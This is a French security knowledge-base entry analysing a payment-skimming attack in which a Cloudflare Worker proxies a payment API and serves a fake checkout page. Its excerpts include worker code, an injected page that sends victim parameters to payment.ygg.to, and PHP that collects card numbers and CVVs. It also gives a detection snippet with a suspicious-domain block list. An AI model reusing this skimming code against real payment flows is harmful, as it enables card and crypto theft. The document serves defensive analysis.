Explorer
KNOW-PAT-048

Interception MITM des paiements via Cloudflare Workers

Domaine
cybersecu
Type
pattern
Priorité
P2

Parent : [[INDEX-CYBERSECU]]

Interception MITM des paiements via Cloudflare Workers

Problème

Les attaquants utilisent des Cloudflare Workers comme proxy transparent pour intercepter les données de paiement (CB, crypto), modifier les pages de checkout, et exfiltrer les informations vers des serveurs contrôlés.

Solution

Valider les intégrités des endpoints de paiement. Surveiller les workers/proxy non autorisés qui modifient les flux de paiement.

Implémentation

Architecture de l'attaque - Archive Ygg

// worker.js - Proxy Cloudflare Worker malveillant

const targetUrl = 'https://api.paygate.to';

async function handleRequest(request) {
  const url = new URL(request.url);
  const isPaymentPage = url.pathname.endsWith('/pay.php');
  
  if (!isPaymentPage) {
    // Proxy transparent pour les requêtes normales
    url.hostname = new URL(targetUrl).hostname;
    return fetch(new Request(url.toString(), {
      method: request.method,
      headers: newHeaders,
      body: request.body
    }));
  }
  
  // Interception des pages de paiement
  url.hostname = new URL(targetUrl).hostname;
  url.search += '&domain=payment.ygg.to';  // Tracking
  
  const proxyRequest = new Request(url.toString(), {...});
  const originalResponse = await fetch(proxyRequest);
  
  // Extraction des données sensibles
  const urlParams = new URL(request.url).searchParams;
  const data = {
    address: urlParams.get('address') || '',      // Wallet crypto
    amount: urlParams.get('amount') || '',        // Montant
    email: urlParams.get('email') || '',          // Email victime
    currency: urlParams.get('currency') || ''     // Devise
  };
  
  // Extraction dynamique des méthodes de paiement
  const methodRegex = /<div class="selectable-div"[^>]*data-id="([^"]+)"[^>]*>/g;
  
  // Injection du template malveillant
  let newHtml = NEW_HTML_TEMPLATE
    .replace(/{{PAYMENT_METHODS}}/g, methodsHtml)
    .replace(/{{AMOUNT}}/g, data.amount)
    .replace(/{{CURRENCY}}/g, data.currency)
    .replace(/{{ADDRESS}}/g, data.address)
    .replace(/{{EMAIL}}/g, data.email);
  
  return new Response(newHtml, {
    status: 200,
    headers: {
      'Content-Type': 'text/html;charset=UTF-8'
    }
  });
}

Template HTML injecté (lignes 6-178)

<!-- Interface de paiement falsifiée -->
<!DOCTYPE html>
<html lang="fr">
<head>
    <title>Paiement Sécurisé</title>
    <!-- Design professionnel pour tromper la victime -->
</head>
<body>
    <div class="checkout-container">
        <div class="panel-payment">
            <div class="total-badge">
                <span class="total-amount">{{AMOUNT}} {{CURRENCY}}</span>
            </div>
            
            <!-- Liste des méthodes interceptées -->
            <div class="methods-list">
                {{PAYMENT_METHODS}}
            </div>
        </div>
        
        <!-- Zone info trompeuse -->
        <div class="panel-info">
            <h3><i class="fa-solid fa-shield-halved"></i> Paiement CB via On-Ramp</h3>
            <div class="warning-box">
                L'adresse de réception crypto est pré-remplie automatiquement.
                <strong>Ne la modifiez surtout pas.</strong>
            </div>
        </div>
    </div>
    
    <script>
    // Redirection vers le vrai endpoint d'exfiltration
    button.addEventListener('click', () => {
        window.open(`https://payment.ygg.to/process-payment.php?${params}`, 
                    '_blank', 'noopener,noreferrer');
    });
    </script>
</body>
</html>

Collecte côté serveur - Security.php

// Security.php - Exfiltration des données CB
public function processForm() {
    $token = $this->input->post('token');
    $this->db->where('invoice_id', $token);
    $query = $this->db->get('orders');
    $order = $query->row_array();
    
    if (!$order) {
        redirect('https://www.google.com');  // Fuite silencieuse
        return;
    }
    
    // COLLECTION DES DONNÉES CB
    $postData = [
        'cardOwner' => $this->input->post('cardOwner'),
        'pan' => $this->input->post('pan'),        // Numéro carte
        'month' => $this->input->post('month'),     // Expiration
        'year' => $this->input->post('year'),
        'cvv' => $this->input->post('cvv')        // Cryptogramme
    ];
    
    // Redirection vers vrai processeur (camouflage)
    // ... formulaire auto-submit
}

Schéma de l'attaque MITM

┌─────────────┐          ┌─────────────────┐          ┌─────────────┐
│   Victime   │──────────▶│  Cloudflare     │──────────▶│  Vrai API   │
│   (navigateur│          │  Worker (compromis)│         │   paygate.to│
└─────────────┘          └────────┬────────┘          └─────────────┘
                                  │
                    ┌─────────────┴─────────────┐
                    │                             │
                    ▼                             ▼
          ┌─────────────────┐           ┌─────────────────┐
          │  Interception   │           │  Injection      │
          │  données CB     │           │  page fausse    │
          │  + crypto       │           │  payment.ygg.to │
          └────────┬────────┘           └─────────────────┘
                   │
                   ▼
          ┌─────────────────┐
          │  Exfiltration   │
          │  vers serveur   │
          │  attaquant      │
          └─────────────────┘

Signaux d'alerte

  • Domaines proxy : payment.ygg.to vs api.paygate.to légitime
  • Paramètres trackés : domain=payment.ygg.to dans URLs
  • Extraction de données : parsing de HTML avec regex dans workers
  • Redirections furtives : window.open() vers domaines tiers
  • Champs CB complets : collecte de pan, cvv, cardOwner
  • Templates inline : HTML/CSS complet dans le worker (pas de fetch)

Détection

// Monitoring des requêtes de paiement
function detectPaymentMITM() {
  const suspiciousDomains = ['payment.ygg.to', 'pay-proxy', 'checkout-mirror'];
  const originalOpen = window.open;
  
  window.open = function(url, ...args) {
    const urlObj = new URL(url);
    
    // Détection domaine suspect
    if (suspiciousDomains.some(d => urlObj.hostname.includes(d))) {
      console.error('[FRAUD] Suspicious payment domain:', urlObj.hostname);
      // Bloquer ou alerter
      return null;
    }
    
    return originalOpen.apply(this, [url, ...args]);
  };
}

Comment se prot[ée]ger

  • Certificate pinning c[oté] client
  • End-to-end encryption (pas seulement TLS au proxy)
  • Signature des payloads c[ot[ee] serveur (HMAC)
  • Monitoring des Cloudflare Workers (audit logs)
  • Ne jamais exposer des cl[ée]s API dans le Worker

Références

  • Archive Ygg : 06_ACTIVITE_MALVEILLANTE/06d_payment_mitm/worker.js
  • Archive Ygg : 06_ACTIVITE_MALVEILLANTE/06d_payment_mitm/Security.php
  • Technique : Payment skimming, MITM proxy, Cloudflare Worker abuse